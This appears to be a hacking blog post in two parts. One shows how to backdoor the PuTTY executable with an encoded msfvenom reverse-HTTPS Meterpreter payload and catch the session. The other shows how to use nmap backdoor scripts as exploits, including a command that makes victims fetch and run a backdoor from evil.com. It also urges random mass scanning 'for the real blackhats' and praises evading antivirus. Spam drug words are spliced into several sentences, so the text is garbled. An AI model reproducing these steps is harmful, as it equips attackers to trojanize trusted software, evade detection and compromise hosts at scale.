Injecting arbritary Metasploit payloads into Windows executables.

This is a very simple writeup, site demonstrating how simple it is to use Metasploit to inject arbritary code into a Windows executable, effectively backdooring said executable.

By backdooring a legitimate executable, we can effectively hide our “evil” code amongst a pile of “good” code, and backdoor it in an undetectable manner. This means antivirus software will have a hard time finding our backdoor – or at least that is what we hope.

For now I will demonstrate using Metasploit payloads, cialis however research and looking at the msfvenom utility suggests I can use a custom payload, which I will investigate in a later article.
For this, we use the “msfvenom” utility. I personally find this the easiest way to go about this.

We shall start by choosing a binary to backdoor. I decided to use the “putty” binary due to it being used in the Offensive Security examples I learned from a long time ago.

So we wget the Putty binary…

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

wget putty.exe

Downloading the Putty binary to backdoor

Next, we inject an encoded payload into this binary. Why do we encode it? Because we can.

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 -k -x /var/www/lulz/putty.exe LHOST=192.168.1.41 LPORT=443 >evilputty.exe

Injecting the payload with msfvenom

Injecting the payload with msfvenom

We use the “msfvenom” utility, the “Reverse HTTPS Meterpreter” payload for Windows, and set the format (-f) to “exe” for “exe file”. We set the encoder to x86/shikata_ga_nai and tell it to encode the payload 25 times. We also specify the LHOST and LPORT for the backdoor to “Phone Home” to.

Now for the special secret ninja sauce.

The -x switch tells it what “template EXE” to use, so we specify the Putty binary we downloaded. This tells it to inject the malicious code into the Putty binary.

The -k switch is even cooler, tells it to run the malicious code in a remote thread in order to not fuck with the functionality of the Putty program we just backdoored.

So, lets test it!

First off we start msfconsole, and give it the following commands.

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lport 443
set lhost 192.168.1.41 (our local host, change this if needed)
exploit

Now when the victim host runs our backdoored Putty binary, they will see Putty functioning normally… However in the background… We own their box.

Backdoored Putty.exe running on victim host

Backdoored Putty.exe running on victim host

Owned!

Owned! Meterpreter executing on victim

 

Scanning for Backdoors with the Nmap Scripting Engine

Nmap is not just limited to scanning and host-OS/service version detection and such, drugstore it also features an AWESOME scripting engine (the NSE) which uses LUA for its scripts. I hope to cover many “fun” uses of nmap’s scripting engine over the next while, though this post is going to be a bit… Edgier and more “evil” in a sense. Also VITALLY useful and important for those of you hunting down backdoored boxes!!

Every so often someone pops an open source projects SVN or such, treatment and backdoors the source code. This source code then finds its way onto potentially millions of systems, depending on if/when the breach is detected, or the backdoor is noticed. Sometimes, someone writes an nmap script to scan for such compromised systems, and, god forbid, even exploit them!

We will be showing off the following three scripts in this post, prostate and using it as a primer for using nmap’s scripts. (I will only be giving demo usage of one, the other two are the same and are left to the reader as an exercise.)

ftp-proftpd-backdoor.nse
ftp-vsftpd-backdoor.nse
irc-unrealircd-backdoor.nse

These scripts are intended to locate backdoored installations of ProFTPd, vsFTPd, and UnrealIRCd, respectively.

For the example, we will use: “ftp-proftpd-backdoor.nse”
This script is intended to locate backdoored installations of ProFTPd – OSVDB-ID 69562 – and tests them using the “id” command. Please note, this is regarded as a “remote root” vulnerability and was (And is) actively exploited in the wild.

Basic Usage:
root@bha:~# nmap —script ftp-proftpd-backdoor victim.tld

This simply tests for the vulnerability, using all defaults. Nothing too special, but VERY useful for quickly testing.

Using as an exploit!
This script takes an arguement that allows you to specify a custom command to run on the vulnerable system, which is VERY useful during a penetration test!

root@bha:~# nmap —script ftp-proftpd-backdoor —script-args ftp-proftpd-backdoor.cmd=”wget http://evil.com/backdoor.pl & perl backdoor.pl” victim.tld

Please note the —script-args followed by the arguement (arg=var format) showing what command to run. In this example we have it forcing the vulnerable host to download and run a backdoor. (Yes, another one. This time maybe a reverse shell, or a loader for something like Jynx Rootkit…).

Mass Haxploitation?
Ok. Now for the real blackhats in the audience… Yes, you can scan ranges with this. Just replace target.tld with your standard CIDR range specifier… OR… For those who are less discriminate, the -iR flag and not bothering to specify a target range will simply scan IP’s at random. Further optimizations include the -p21 (only port 21) arguement, the -T5 (Insane scan speed) and -P0 (Don’t waste my time pinging!) arguements…

The other two are similar. To get information on them (an exercise best left to the reader), perhaps the following may be of assistance:

root@bha:~# nmap —script-help ftp-proftpd-backdoor
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-16 00:41 IST

ftp-proftpd-backdoor
Categories: exploit intrusive malware vuln

http://nmap.org/nsedoc/scripts/ftp-proftpd-backdoor.html

Tests for the presence of the ProFTPD 1.3.3c backdoor reported as OSVDB-ID 69562. This script attempts to exploit the backdoor using the innocuous id command by default, but that can be changed with the ftp-proftpd-backdoor.cmd script argument.

See? You can ask for help! Just pass the name of the script to nmap, and it will help you out using the nsedoc engine :)

Another challenge that I put out there for any aspiring evil geniuses: How about using all three scripts AT ONCE? Optimized? It CAN be done, and maybe I will write about it.

If you figure out what I am talking about, toss the optimized strings in a comment :)

// I know I posted this on my Tumblr,  yeah, I am migrating content.